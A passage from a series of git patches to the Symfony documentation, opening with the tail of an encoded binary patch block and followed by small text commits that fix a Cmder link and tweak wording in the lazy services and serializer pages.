zT(nmW9PkgFhg7P8>M5w|oc9+&mf>P{=8+hhxo-f1YhPd(d?chBLg@b)g_ljCnpM2}
z_$#5mcw4L%HKh0ngx)wA?wH1Ik*mV|C1oZZF1?BEU3jUoAeC$RZs|@BU!w+d==hlu
zht5(bb(N(&P|39>70=~KsW^LX`!{%R0=<=CN~R{&k2g{(GCBl8As?B6Uhjsc%s{|b
zR2JoxKnJo&t^f{HB7YdEzq>nSire;JLWc)a)ZT$1N|RwOXj{8ssCoNMhf)KznbQsk
z^DSs=7%AO54mVjASefHzv2s0COCY_&CjD4!3R(RVqikYP{uR3r_nJj0&rw;E9(rOD
zg7V^=#Wl1ot>zRFPoa|qEji{+XiK4o($6Orc**vop%UqhmKftGZ<!>!yuCCi1kNOu
zr0+rvLDgg^$Af*<AjKVxILnbiV#SB;7M6-9>DPh<MYC6Z-m$AdD#L$~=qL?{v0(pJ
zgH*=$-i+%^UFr|zITc8<M}eD?y3h3)m(RWslBjV#!-I|1LN`*(DPJ=>b(9ujN@8Ib
z%R_`3J_fr&TJDUM^vFi?SX^ubtoMZt!h)QD{V;>Z2+h)p38bkr%@N=&!i54wuo8Ma
zd)Q!{xnVyHjZ^vt@H<Qa>oDnsn|yRb#roPAsqB?!jL?PGAdfeL$%eQW7HNl_&tPnt
z1cOgLXuw)xecGpG0@Z(KO+HdXy7K*aH0g)JCvsZd*BL-a(<y7GZqUhpke%24)qT`o
z8au#%xB;A&H6j9mjYh2PJH&kmcUw>LY#FUbK1vI9s96qWC{$tq%DasHK64g%rKm;#
zsz>la-TIx4T)h5so^AILIy+kQC@`Ud0&aTjo<dKK*6ZJq=e$H4D~gHl#r&rwL*B92
z;=-O4p73dPZ*?AHgbGhFI^Y1rx>8=zFTAj3;^=wR4}wC=@9II*LYXu)P#p$Xr<6u5
z=fN5JJ~tjj{5mv(kq)X;Vouoyv<q|9QNuuI?4Z6XtHe_)L<yN?eB?!qcXi>^K_nqE
zsm6WcbD!1r-&e7h!~I!^?(w*#J4Y}jg*@k{X}OZLL*K>j2G_*LO#-80@LW04!5)~Q
z?IiqxqB^tVpz;=y)-6!kA*RxWB4M%F_(;d3BdhR>J~q0*1TD6T#t8w@V<?hEO}J)F
z5^*^E@KwfE_LGkY7vbH!l@4RwJ_Vc@AJ(^QYu1X3{D?YU2$M&@EbN#JNt8A>x5~pD
zuNHHix4yG0M99zb`~6&;rM#+&;ok5WOeKI)RsD}$iqo#t{EQK9{S1+t23(2Q)OF6^
znvjSnEiDayk0Tsj+JU2|t!o{?9e8})7zx{&rFLVYRCwm+kvN?JfXDv+eq_Jc{97*5
zkfqwb1I#a&a=B)Za@Humg5ehD@`nBKk`gR99FBfUB-ysag=up0CE&Je#&QS|TPj;&
zJFYiJ)YbATK<vFLL@9MMgWUC(wb}=ggshJNytWDNd6%xraBll?+yDmlx0=EaSpl_u
z93G?hJi;dBs`HEfiC=EGpg-V;e>{+~+*ic90Cf`pcRV5@MbZootm#Ldt$<FrUU>AO
z!gn1rHKZX-$cQ50#<gu}dwcsIC<bpyUp;88bTa2N9BM{*d~9~SvRM`(Fk9_>9eFP9
zYR;E7Gh=0_&wez$b+*!Jw%B>&&$I~rkax7yrm3w+^XGoM$a{ELD`R7%*AHtfPyAq_
zpn3#=gONajB0FQ}Cb4DZ?rx=Xk5PyHB!ZiN)qQ65f03EyG;<pk*6XXiEtRa7*-;qH
zOM1TgP2_j^`SpP)DqrYH)maTD5FT|*i*p`+>VD{|F%doSLHj(hupp(Ux3$m^JeDEg
z@Ed8>(9O3KCHQi^QXy5Ahg7%v+8B@>rO)3zd5De?Vb1~oUp1y7RVd7VN6QPk9(c4I
zYiaX>ZA!%Z(9WehBO?do-rE~K&7)x)(ClP%5Eb=WIhX2H`#*g8(i4h@LM^V^<Ix?|
znRJz^Hehjmv5Mr%q^(=3RJQb68lB|=4&ONT*^U4<DN8iimxZ`n0eo!1y>#$N<8_(x
z6-l|vs_FGL{YRa=AQ89Y4bqSADrJ>5O>$UG0hq?Db_q!B{j6^5QV2x3pv|8pN@W#n
z??24`M8PUmC?|Q{mLtc)LX5((9f}XxFV1#>r&6rGfFy!Hqw8~U=%Jzh<Yi?V2seOj
zo{)D4bnv>acKE)n-q6HE^!vs!H%G2pdymN3Z8><(%1Q-*)!degTvXQ8anR2Cde6Em
zA|m3(<|bYy0Z_DYSGpLi=pR(&sLCP;2!-F>2)%V^85+f|(lJ)-Sq(CZR4seoBgd>p
z^{py7dF5vlR?^japEMvSxu8Omo1O27-Uz+Cm@a$E$f$t$zQvA^E)B>D#8bVhTG>d!
zw6VJUI!doDdD<(Hc=Bz+HSRP955^G-Z^d{Ko9eDD3+kwEyTYG%Iv&4`NGe_V%rsO_
zZqVtBC|&!{)d{<a38m$x+lZrKCbQti+8=rVRz9fVg^H(d_B8-064qD#X>NCZVcT;B
zn3zB+BolmPy5>R$8_j)GrdXKkV!>At<up)*OzF0OKJ91!WU#klu&o*~WX7P7I2#J*
z5>^ZWVzFu%o+_jv4=nu)jt%-Y+FBWsTnEW%Zj;4_?UxxJ_UMnn(%<3N(9rM6mNGGM
zUIE2#{8JS8Bf)KGbAX6X_PT8e$pH@rz?554$7=(6KA;J<d@z7gYo+Vs1L{H+Yr4NV
z$N#8fK>MINr4EBqz(M=$@2}%c9-W^zqbN|UDI^pAii6;%DVHf6MenK3aF_tt{5Eqd
z`)!ZXygIa+Zi;!K_|olB4KvQ%x2RF8SK+7~nUaQfyDFHt{)y`r*H}Shk((!=R0oYG
z_3|2@y6wyhf2&<0M1_e{C(=NTkYR9a6t*e*S}gZ$$ju}nV_=j;#VE+k8Q~GUS7k3s
zc{>xQ));u}4H%pVQANXp86W3d|J)6wmsnz2fZo|xKPYI9_MU&y%0;|@{-0`g!z%7z
z<;5k~8BK0*lv;$BPhW3%FqGHI1xq4Mbo&LcD}F`s8`gA}uZxE5dZ#Vr{vrhJpPb@?
z_9W-%^u#PaEHn3#ep~<EBNXTs&XTSGh-XoDLhfTvP8Sk-zi`@n`r|R@4lnQ{85Iz(
zZUt$EwYIdh__RuyjnhF(%7Ki_yx*nN{8}s5{&>h)wBYRl?M~F24Nif@cN`eOHpo_1
zA8(Gaz59z4l_)n8uaINu504d38KnW){*b~%=)J@{rH3bpYt}f)vVsaKq^y8=CQD0S
zGg23GzHj3*vNZ5u7X6I4pY2q~C{2rVbq#jb?vC8lx?O}zOhkn0_bxd#tEDrmdo=o)
zXyU|Oc51w0en*{*JtOmY(x#YXka6$>rQp(7>g@#;;_4?7g4iOzkEL9Y7IY|#e6CG$
zVx8vwb1BnDL5+pdeY2TzuRz$h`sdhz{nsl`aV=8qr?amaF#uUCXaWz3=7&se!f{T1
z%ruGbp*MV5;1`SbO6+Lct1`a_KLj1Ae)U({DbJXpFf__HoY(Hr(b0d>UsB;}qwp(6
zCc2vmVX8MGb}t@2WWM?4=JK!PV<JfqfE%sdqAgl5oF`IWu(OAiAuC5=O6UYwKHnsG
z{^KUqM+R$FxYJ%w{sELe)$q3t7d*(YP*uZzRi8l!v(IS9z;<H8ZPLTYh*qOIwl>q-
zp|S0{VJK#7lz3qWi1A`Oo|mm}MnpH*Kt+a-7C>@YF{$nwOjX(|=VsdT3}i0yS74*F
z%`$0Pjg^-v{-?4FC|%=Z8OJI?bePfLIn8_cthaDs1Q(RIf$`bn4V*_P4f5!bc_Czx
z%wo#{Q&tmdyod`(H}6f(fdJG1#p~llFKZ-~Sts^{3(5dNGJCP{g3$i2xkr+7jH+{3
z$8duw0bpV#AeIv<9P%h;`8>gx<LSuDR5HegRh3X&$EG7B-UH}(f&prv1Pa@JS#`u7
z{?c8I4mt|~Z^v{}XUeSO);&^VG7TJ<qnGe2Fa~hqH)O!mPo;?+SoF?cYmljcAaIx<
z;VMuFAs6ApRiPWCFPV9i7j2KL!U0{k(731F4#u?VZT_6|Pkd{5?lv8iu(mWnRASwN
z%0xT00SF4v4~)Mj`vGAvjQ!E}Pyk4W>vvnwyJZ|;bIv0`3*_3aUM}wl-C3X;7iKp>
z0KM*rFn=@s2P4q#tKs0hZNDV9=s&Yhp)Ni$rJQxzeO{pM<98z7XU`hH7EKeFWJ<PW
z-d<_ysXY8luK#d^PazPHY=O2)4}_m4f*L`DoX1uzD1!(LCW~UFLBp)J6`6J&@2Na!
zAMf&!n80m~qHO+EeYU-kF;oilUt`P$N;+YAmOe>fBJE56P3USTLa*3np?>2q@KhSZ
zqp9fjXPtUa%q#mJoH5s8MKL--Usx>uZ1I!i_-WLLalQB)3Qw=4GWoTmS|&$43owL0
zV`+ER;46FXb^yHs;CUnKapJkm;!n^g1g@VwCKlfCSbFr-{&S1iid<kmWU~R0tukk#
z<8O<=P+FkEGC9t-L)1m|&~QHu6Ro|sWx&C-a5_gS0fezR3pC(|hj~4Mym*pZ(D2H)
zHxjkpgnO$XI_QH&uH{#=4&+J4YE^(rBNCB_zD@J(JfgPwXh;C#2!R8L+PIphkVPgN
zjJ&;1a)?&oJF@K(wCbfFK-)_~A^hb_834+@P3NHcBYC?)x$bu(!mHXyBa31w+SdR|
zH<<#=q_D)OA3`cix|uiKSkKCczYs9Bt}a({A$8x({MoaVP4}WXJ>*^E&~2jNz}|hn
z<fLeRgAsfSej3qjz8+`BaDJyY_Hwd6ZqgHAHTh$yA?+&G$CMv!N+~FVoBaGZ-ABdD
zDW|5l30M8z+}Y44S(mIU)z^ld<>-*)W&>;WLD27`&GEF!sB&9-XG$nbe|HnrW^Z!u
zN@lg&k>>XrG}837$-W0sVmY#({;08LpXi|uFP!(msK?v5-4T(N(_fCa?FxHjwp^<{
z;Np4po-_!B9nCQte7B3+eY<7i`s_hmAu65Yt1Xl`yCNw1ksf($g)dugw3`z;<stL*
zKg7V>xA~l?BPKGs71zhp0qJW|k|$DrBoXJls4&UpviwDWOcKKqUsN<Wr?JuJn7%=(
z1mx!GKOEvU+A{JJpVAb-@lWr3GJ*%ApX4y1cnN81rV6?s*>l5$ZSFb)tczJiEhO5G
ze{+YsT-}ap5;j&)aPWCochCO$AZ(8`?8De(&nK8apfxty8cMI{BeLbLTSxv2^YGJ0
zFvyVU6(bj4i#qASLI?JzV@PELxlD4IB2=KnTH94!x=k_u*Dqp1YHF@$=m0^8iH(g0
z&+^k~)M(N#<f5-1`+U~=mjKqN$wXy<>ev^rCS2cKUq^(8A79=6^<@cQ%R?%E%2VJl
z)6gKSpwAl@8b988T-3l?{@+|`bU8K;4}$<jdZ5PM!luwTxw)~WC3rJlC<@HV%fpkw
zXR8`oS!|WcgQQWzZp6gQe6+$bE|<{zSLcobPqI-{Q{&>|7G~?<4Oi$?GO6V%LxyoU
z0Ug1}d7<8Vx!n_RGXN@}jB*I$c%FF6=g-^IWokz&oz+!U(jY)(#(w(r<68ya&jAnj
zcYsE`_oHs}>wBcokPsZImp=dl37~P~Qi}!LU7ux2fu`ACQXTc-iqFi>nl#v`=*)`K
z>s0C2ZEWQQ6H#&{ybuvF%pUVoiVhui%+Ba?+Z>oGQA#G|*xA^i%LTErzP-IX1`29u
zZf1gJNrT8dCh{fy{QTa1e4G9so!gFyUw6L7<n`;<djqf(_}5#fpN(}54Sl5+78dt_
zJ!@~i7SM_P0e2X1Kz^Kk4xMBN%v-s_ZgiO_%(jcoPBQ3ZWMrIXUB=RFX=y}kOXjQ!
zZdVtp!Qz$!ag}<trNzZowzjdnPf2-ybzZE923-EBG5PX27L{6&7D}E^!P)ldQ&a{p
zHesvbNH#XMW7%!4>%E2$C1@zjbzN3gmOV;;f}J|xkEE|Jh%c7FbEU(#UY)ZX!T?>b
z2K-2I2QxqYffhd8o~S8{`=39x9R`eMQE(;=PAWvxb`K02asm4ph~6&XOzP?i;(#*3
z-lWl6yg`F)jD|RS1CAI{q7tpY<>AdVxvWy*;ouldtw_Gi76H<KP<MCtH-bt^!}-C4
z<m5)NU<KcgFi)4$`gd@%;5$P0E}!E<4M=Qy3YhsA=(CWZpz~}6A)EkKkx!u^2RM^P
zMs`VSO<!7+3#rM-prmc`nmAkmHnzcd^0G<Dc#bG>r?QRT&&Id0L>v~S1o-&H>YSz(
zJvT5wP)8f}q!ibv@qrdp8?~HoPxj5v6VHhGow5Lmxbu;gW-j2=^W2_zk~5i^N!EIv
zO|kB?<?QSnH4m({N&`su{q^3+Xe!`C13ZsFZp3C5SXgLJNs{vN5@UaSe$!{K@weBL
z!a~kV2utKb&e_~=5U;?58aR4R&dv!+9PJ<T2}pMV7J-{D7f^VoX!6C&)5~k1_dja6
z^UBPOb|}l>8Cqw8^Kv`jg+djm1+0&{1s3$OaR^ICT{nmQvBVA<30*#&CB>&=le)sx
zvWZkV+1bjF7vW%q5MNA8OljE=c6N4q6e`b?DE)5FJtBfcAW1t$$vzL{Q9gazKHePk
z<cm5~jIOMz+8;_~{&;zF)V;@{Q#-*9%$?SENjw-B)A{B{oh7h7f&53x5p|F?xdMt?
z+cl6aW`hBSz}b&HmVm_%*i%2GSX%1p@E+9CS!_YDT^9zgmZ$&wF!8^}j+!JF4fMnB
z7vY&B9Tqx4&mylNA#AMaU#w^N1WKM5ZF`5uHOqiSNa9))HIHrGv=!Ry@%0?yu7&cM
zg6V7OWltwbnY&pQ325yQNvH8PJ)P-^hjYy|hGv(QP&U(rO03DUB-*ZpXq37xqWQ80
zH`gygyx*t$KP<lKC_9r(fQFM*tQkEAx5QB(!gg2Ru@@NAJX`zj7K8Sk=HZI`?kpXd
zKT`cQVSt|eVOsL*eB(RvBu2>QM>p^$8_{agMqwe6A6c%KN1_W(LBuC!dn|En!-^Px
zn);Twfd3RoQ6_*x{@&2^wc_%opZ!vOhYh}clwV=<XLW1q5==w=^R#5O|CBrYiFj53
zz*H--D!~exKw|q^uReoyoVQ`r{i*uGq4RbBx43)MDuNv8wq1zBPE2wAat>A7FD_HW
z0tHAz8oc)p;IYN}o=gC9ETu>={t$=&ATvDy*tVPO)B9`+z^!TnC5RXLRG*~;1n`Q|
z4q*^8fK~y#fXw&^=^j<^g}JP#N1*8oAdB3?Q$U@MmVbm)Cn`bhpEuFh<sT~oG;K+f
zrz~{L0PwoHibqR|l6ibak0?FtpA=sA_!!s`bho&SO!ru{16xIi=hGpeX`^aafMm_s
zKbr2;2~;Ti9RKl_=Y^{^G9iFP0kM-B_M0I5(P%sFjiGw)hy?(3pfF*0R8Jl;^VYMF
z$DbZz(_I0<|B@bPfiIw<pWgF6_O3^$vs)R`ko_oqKLSy)$7YE`M{$qD)BpAVvC7&`
zJYa-wk7pMPI&G8aAA8}OmT^$hNfk!<*w|qg;&4Ddc2Rl;+m*k<uKhm4n5MF-8c{CL
z$sq};WQAQ=OlRGTTlX*DJffnlZxk9e2@v9(Q4zj{#%S`Pg?)*~cO6T!eGlUQRm)}A
zmi(_GfO&ub4iAHDfl&X|4LWH??mU-$MC|0I$<YJkQ2>7*g~;KUNIbTbOajCmpY>TY
zAp}Sj)Ljpw^A;K-u>@<nGIu-}gD?l;?jyP$-;RMBj!&;dZ^&VrN#ia6+@Y{zZV`$O
zo;YLZ&6Fug$0}Agb>PrgL5E&3iAR?LIfz1epfOM8+1nlW;#D;|AA8VlaU=&BRsdx_
z;$s_;NuSqUO5Brk#%$dt$nH@qFQ01!Ex)3e-UZ!O45;UJS&R?s9dVs_l%>+Un1-Kn
zhsls6j;SXk;S=0Dow9Pe;KL+Mn2Ww-0NI7Y59AGh3=|fCJb*`;%o&^N*n1h0iDRs9
zcZ+d^s^6>u(X{ZTgumncWD<a@p&R&(V0B_7_F}FCp>#UbF|2)l)=!Ji3y^jNQKr`)
za*CRpoNS;O7XsD=6s*6R-X0U^$vnLe$r$x6-R@Y>UL%dZ44WS&i9iqBBv9ULSA@)S
zA=BRfw6reHjyC#3{=;o!b!Z{X@Pv$0-?rjAXU}r!r;}A;!%<TtgL~a)O-%Sl@oLbA
zLNsWWS)2G5u+bhy{FMF3(PH*YTLqb{?@UzxDWQ!3p5Mchg8?j;YP&?86CNr4NVu*a
zD^_q}@Y$?lxtUQf|5n#h&F?cue%M9c%i%VYG|vWY4UAC+rQB@+G^?dGK;QmGT~t`l
z)=yTctEe;-`gRJR>xBz3W?gyJqu;V_%_Mh|VPbVyFYwx;$-4-ywvg96#wE1Ty9%h=
zMq~>D<7VH?I9Hy3bO_*9K`Ax3%*nDR;jUME;JF-k*Q4G*AXM|+_<)9G((pM8q*^Ze
zdb(2+WoMp`&*hT~<{0#IjQj&!o^97Lfcs7#UQN_1f|Hu+7yI5n*L}B!8=G6V$Pp7U
zeCvaQ;74r|n4JLDO5Tq{OjR;*@rL%_x3R>Tkea1Y>FK!Dbdf>Uld0vwec6{sE2+L?
zq})VnU4PPllPaZ!g(6125Z)11##$j<$VpFo{!IwQwD&i~I6Cx21AoigH4Gb(V%26P
zEY)sPLqkIYgCVhR>x-_ELiK9lTQ<~7o(AHXEOFT?uiRs(A>S?3qal2zOIKCzP!2S2
zFK>A-8r|k@^NYnXv9JsV+Vj^Y85U>4Ysy=wtm>%#iSDg{=sskj&Y{rt{&=J6Eu_B8
zfJyEu)$!8p_T-<+zK_uPsR}bNv43!yDlN|i6vekAA2LzopFQR{k$<L@aL8og7LTL7
z%hW2O-gPUV^4A7piMIWvx289Fi`crE|69fc%&29?;CyRpik$nCZl@5oTMW&}d~4rI
zou!ONV*})ALS3)FW_FUDSl&3|MD3kPLf2WHRlgZnE&GS(ukQ(eK{Ln^Q}K;Dnsb#$
zsQoN)vRU>fq#{Z6`aM$Cs!vfFl;vo#CB5kkb;oTuEReM{QY|t(ybi%*kWUCWv(zzN
z6bMq)evk0jxqg5+^4i!Hsz~nqllZ5w4RK+4REmqFnKelRii#q~!(0x(SV)L|yZ%`t
z3fD@o8c@h|PF*|LBnSN06DYKl*PLXES5ou))S=TK*14>Tm;Pk~M&&_M|Iz_d*cCc0
zLZM3U^z8XAMD?n#1K__Vq50XV3{MUJ%VjDkvXi+zb|mgw`ci2~-dC%+h$Rcv7Q>}k
znBpSYV&W%cYl-tU=}wDD%YSDE<N$~-Ado>sG<<XF+v$BY?{##4A1v=y_4KKjMJXe!
z2P`Uj@}>{fYyU^k+SdnU)So{WT@ELUi~xKCWCl8d?&x-`gKv+sgjQz`R=dXwUK?2#
zycE>C%nJd0X27==uCA^Y7Id8MK-*3ZU-i8IW&%wL>WHh8k~#-eesvR*96<Kh)4kuk
z*Q@$?aWY;h%@I8(7I^(xIOi-4A1!@Bn9oGr)qZEn;QLc@kf>3Vt*WvIxp<HjAlsiG
zns7ObhX3IIPe#HlM$$nm*R$cdwYugthKQZI*{ja=cbCu)>ZP%N#zgNnHvsN+wD+@#
zFVQ>S*%&~DWbG<hbIr}-=33jfzkZ{dejyU`KQB(EUsaG7PB37#29)^jbHj_i$QJrV
zI4rNpezrmqnju>!M)eDDy6(N`7+K$!<1TZ93|p`c=!c?RWC<U?Cc)w?ax!wl3yFxZ
zoUo&72HZ6h9oT6p&(nh+?m|fU2DV^1FTKa^ZhgfyB4}UV->mqDW@k6|=>O<H+ryjk
zwX0IG=J}Kj*?ivN&6SW*{YgIbe~86r*Y(r?lUVp^(h(_GS5_d4h?oFh#IOZ<5?l~z
zlJx`03$p&<;n=~=g82{!idfc%wNP5M+&>uxt%<%TrQfC6iZxSMB3n#5d{CRU9FAW3
zdvynZ!s>{}i1g-jVw%d?Q9q=DkInZs`px+#{*&#%n4OxZ*7!#sqVxffU%o$E`34Zp
z4;{3P$M|D_bOxD>NBryb@P0@v`Chu&oX62h_!|uoSc;-TAw_`=U{rdx{`Hm8PtmAI
zExo^eL}cl9r9}|v3r8IsD*i~4{@ArX_F8`>ooujzb?}2p>r27&C<@5YR`%(iKWnbS
zPo6wEK0c26Wrz;b)ph9EIN36YFEs9eKt!WKp!<P=&1aT0-5yXvJ1v8!6$ntbv$yj#
z)fo#?tQW(KFyCwKRtn;8hQoTb_ZCa7xWz8i@d;fCpD>bC0@7G&=k?vURAsqRGjau0
zf+y)LZLaqhEHzn(xn|ey;0KH8?|-)^m}P@eern4==$)3Yof4^*0|J7On*Jt5yq8zX
zieF|41}+!87WELTsN{2tv9)!t`*Z20^li`k@S7r6tob4ErB82pUhW|Z*HpO{8tEpS
zNakv<_QKpbH~XdUGmRr)`()^dde=~JuZg4MuPH`ilj{RRUc#V(lS=qJ8xi0*oVna@
ziapF~B(f?Jz}fD<e=E6ayiP~-pnGis5W^lxI<d()=g_b&L6LcVpNIQ}I?L6;9cTON
z5=edP*R!KlwBJ3X)cEyzbZLI^;gxh2tIo?JEpMmE4zBhW#D%D9jWH;BEVvDimc7w#
zkLA=kpp*1fEfB~GGkes@o73$#3JT0*#l{+fIz+G(e6o$}Gjt7i8UuZHVic+rIKY2=
z`C_7PrOQ8aqYjg^`|s&$SJ%AKFr8;y{z9y$>s8~7I@!s4tZkTid+CPB6ce)n5FwY4
zy2F)tCpy0Prt%6_V(){R8c_oLgdzftRq<QJ!16-ILD;_1sKS+=*(e2{jWAsW8ZLem
z+@?5SwF`UWfgK-)S!6s-9<Bmu5PP(E{^dg)sc_(2E{w~g2}KF@naOgs>y7k(*(;C(
zo-<N>k6Nt)654cbh|4Y6XdD&LoMv^QP1B5$+`EJatSjXiOUlm0E9)|GIs||gIZ7l#
zHH}r>Kxbl)#^=B8rvDEYK~2tKbTC=Ym@)o6ZNT@~vK`2<a0rFQy{3~Kl8z}{6)#BY
zpj9oYRI6rYQbK@*=Wh<k85x#zEV(Xs`r{`{*4^c_W9nV&eWogie;hO&lD^W*+7ct5
zXO&8~oPVa?#ro&McdWeX7Ger(I6-Z`B~<0Pzjw@E;{1Khu&A9DNK#g}gOxsmf;KKM
zWcLa(XxtvD^fkO&pCt2S%$A#nLX>5k<GEL%>yUF@lv&%0r_f+As!2PjLvA;>*vEmc
zd=xR48cQf(KyGcX3kBOX&4+_j6|c5qWQ&*AceI?wuE0ou;O#*NW4bxiJcv~!0D<S!
z$Cd~hVijC6{wJwq|9G;S>f8n7x<@1j?sjUX2}e&jzNxC;b$vQbXUwTLE$2lvBvvDF
ziD>6H9Ag9kgFH`pANrm}u6)T*dxbVi2OpYv$~+~M|2Ag>Z|xAz`{iX5p@`5m&gR}m
z-)Q3a9$WEzN`o|GjkA2T>ofCE4i(Rg(O>%A_~*5hL^fzA<AiFoV8_fDZ@#mzTV;7V
zV<P;F=eiorAlCRQO2;b?J$*8NiiL}V1D5l}&MF;oE|C$7zw(ML55we=LQag}Q&fkr
z;kU&_qubrm0<-Z7YgUSWn=uf@zN6f_39;^qDe`+x+i6#Wh`)I&uTaIJ4j^5X`=Gpg
zH7l3uy8F)4{Xx4{TXKo<j1q}qeLU`6TwKn}H%4E7xnD3xwPzI)9s4k<Jm6cHD6Q)o
zhi-O#7LP@WtZR-erjO9DwG@Ds{tmjuxCs+9*(C`cVQ$qxowc7(ph+S|N6t>#ZW=3#
zcOu}o@WAm<OcU+@>6iVy&GncF&*UfnU1jr`A?BdxS9+g}*Tu;y_*t^XJk3hHo(XQ}
zn8|(lhS(w)VZyD*G=;cWSbfdeYCel?*M`)%^&mWpEj&!Ma$St&WFWh>;mSAqK9jG2
zoD5}p|5B>WLup+;XQ|_0`F3_%vz{49ff))qRY^9H%?1dYd`3c+IDCM<CSa)Guur(&
zWYLchc3>}I2(=fexN?<|*bXJh1Eqe(O<+PllXlXuouN1z)cB0+=B2Nw0CY_Igmzof
zBhi_CjEX8TG7#A=L|tu$$WwMyBbWl^1)lBu5{Q+0wX6X3hM$MI+lu*gtE@ToaVE_S
zL6c05hWiY)T#xQIfn`la-cM-(98p?mMuQ+o8HUs=4WpTivjB(ozwf6r;4jKNe&&F$
daB>!`x~N0MJucD#d?b#bAfqZ>BV``)e*h;TLq7lj


From 6a9f04a586aa9405bd253447a1054bf579e3d623 Mon Sep 17 00:00:00 2001
From: Kai <9503447+krienow@users.noreply.github.com>
Date: Thu, 4 Aug 2022 15:43:46 +0200
Subject: [PATCH 3499/7107] Fix Cmder link

---
 console/coloring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 774a2ab96fa..d3b2d6f67d3 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -91,7 +91,7 @@ you can click on the *"Symfony Homepage"* text to open its URL in your default
 browser. Otherwise, you'll see *"Symfony Homepage"* as regular text and the URL
 will be lost.
 
-.. _Cmder: https://cmder.net/
+.. _Cmder: https://github.com/cmderdev/cmder
 .. _ConEmu: https://conemu.github.io/
 .. _ANSICON: https://github.com/adoxa/ansicon/releases
 .. _Mintty: https://mintty.github.io/

From 37cb398bdbb5e571633fb4c2c7707310244e940c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Aug 2022 17:26:51 +0200
Subject: [PATCH 3500/7107] Minor tweaks

---
 service_container/lazy_services.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 2705e1c61d7..405298718a5 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -25,8 +25,8 @@ until you interact with the proxy in some way.
 
 .. caution::
 
-    Lazy services do not support `final`_ classes. You can use `Interface
-    Proxifying`_ to work around this limitation.
+    Lazy services do not support `final`_ classes, but you can use
+    `Interface Proxifying`_ to work around this limitation.
 
     In PHP versions prior to 8.0 lazy services do not support parameters with
     default values for built-in PHP classes (e.g. ``PDO``).
@@ -105,10 +105,10 @@ Interface Proxifying
 --------------------
 
 Under the hood, proxies generated to lazily load services inherit from the class
-used by the service. But sometimes this is not possible at all (`final`_ classes
-can not be extended for example) or not convenient.
+used by the service. However, sometimes this is not possible at all (e.g. because
+the class is `final`_ and can not be extended) or not convenient.
 
-To workaround this limitation, you can configure a proxy to only implements
+To workaround this limitation, you can configure a proxy to only implement
 specific interfaces.
 
 .. versionadded:: 4.2
@@ -164,17 +164,17 @@ specific interfaces.
         };
 
 The virtual `proxy`_ injected into other services will only implement the
-specified interfaces and will not extend the original service class allowing to
-lazy load service using `final`_ classes. You can configure the proxy to
-implement multiple interfaces by repeating the "proxy" tag.
+specified interfaces and will not extend the original service class, allowing to
+lazy load services using `final`_ classes. You can configure the proxy to
+implement multiple interfaces by adding new "proxy" tags.
 
 .. tip::
 
-    This features can also act as a "safe guard". Because the proxy does not
-    extends the original class, only the methods defined by the interfaces can
-    be called, preventing to call implementation specific one. It also prevents
-    injecting the dependency at all if you type hinted a concrete implementation
-    instead of the interface.
+    This feature can also act as a safe guard: given that the proxy does not
+    extend the original class, only the methods defined by the interface can
+    be called, preventing to call implementation specific methods. It also
+    prevents injecting the dependency at all if you type-hinted a concrete
+    implementation instead of the interface.
 
 Additional Resources
 --------------------

From 85708a293804ec4d2766ef4cd22709f54ec530fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Aug 2022 17:29:01 +0200
Subject: [PATCH 3501/7107] Remove a versionadded directive

---
 service_container/lazy_services.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 405298718a5..b259895b9f5 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -111,10 +111,6 @@ the class is `final`_ and can not be extended) or not convenient.
 To workaround this limitation, you can configure a proxy to only implement
 specific interfaces.
 
-.. versionadded:: 4.2
-
-    Proxyfying interfaces was introduced in Symfony 4.2.
-
 .. configuration-block::
 
     .. code-block:: yaml

From 869e9a1a78b1d901fbfd42d1df10c0a43e003b23 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Aug 2022 17:38:42 +0200
Subject: [PATCH 3502/7107] Tweaks

---
 components/serializer.rst | 6 +++---
 serializer.rst            | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5a04f2d3621..a0a557874e8 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -900,10 +900,10 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
     This normalizer converts a \BackedEnum objects into strings or integers.
 
-.. versionadded:: 5.4
+    .. versionadded:: 5.4
 
-    The ``BackedEnumNormalizer`` was introduced in Symfony 
-    5.4. PHP BackedEnum require at least PHP 8.1.
+        The ``BackedEnumNormalizer`` was introduced in Symfony 5.4.
+        PHP BackedEnum requires at least PHP 8.1.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
     This normalizer works with classes that implement
diff --git a/serializer.rst b/serializer.rst
index cd00ebe1bad..cf3e5f56dbb 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -85,7 +85,7 @@ As well as the following normalizers:
 .. versionadded:: 5.4
 
     :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-    was introduced in Symfony 5.4. PHP BackedEnum require at least PHP 8.1.
+    was introduced in Symfony 5.4. PHP BackedEnum requires at least PHP 8.1.
 
 Other :ref:`built-in normalizers <component-serializer-normalizers>` and
 custom normalizers and/or encoders can also be loaded by tagging them as

From 3cf09e968748024943b061c27bdf9fbff523262b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Aug 2022 17:40:15 +0200
Subject: [PATCH 3503/7107] Remove a versionadded directive

---
 components/serializer.rst | 5 ++---
 serializer.rst            | 5 ++---
 2 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index c3ba8a45bb8..3901c5e22d4 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
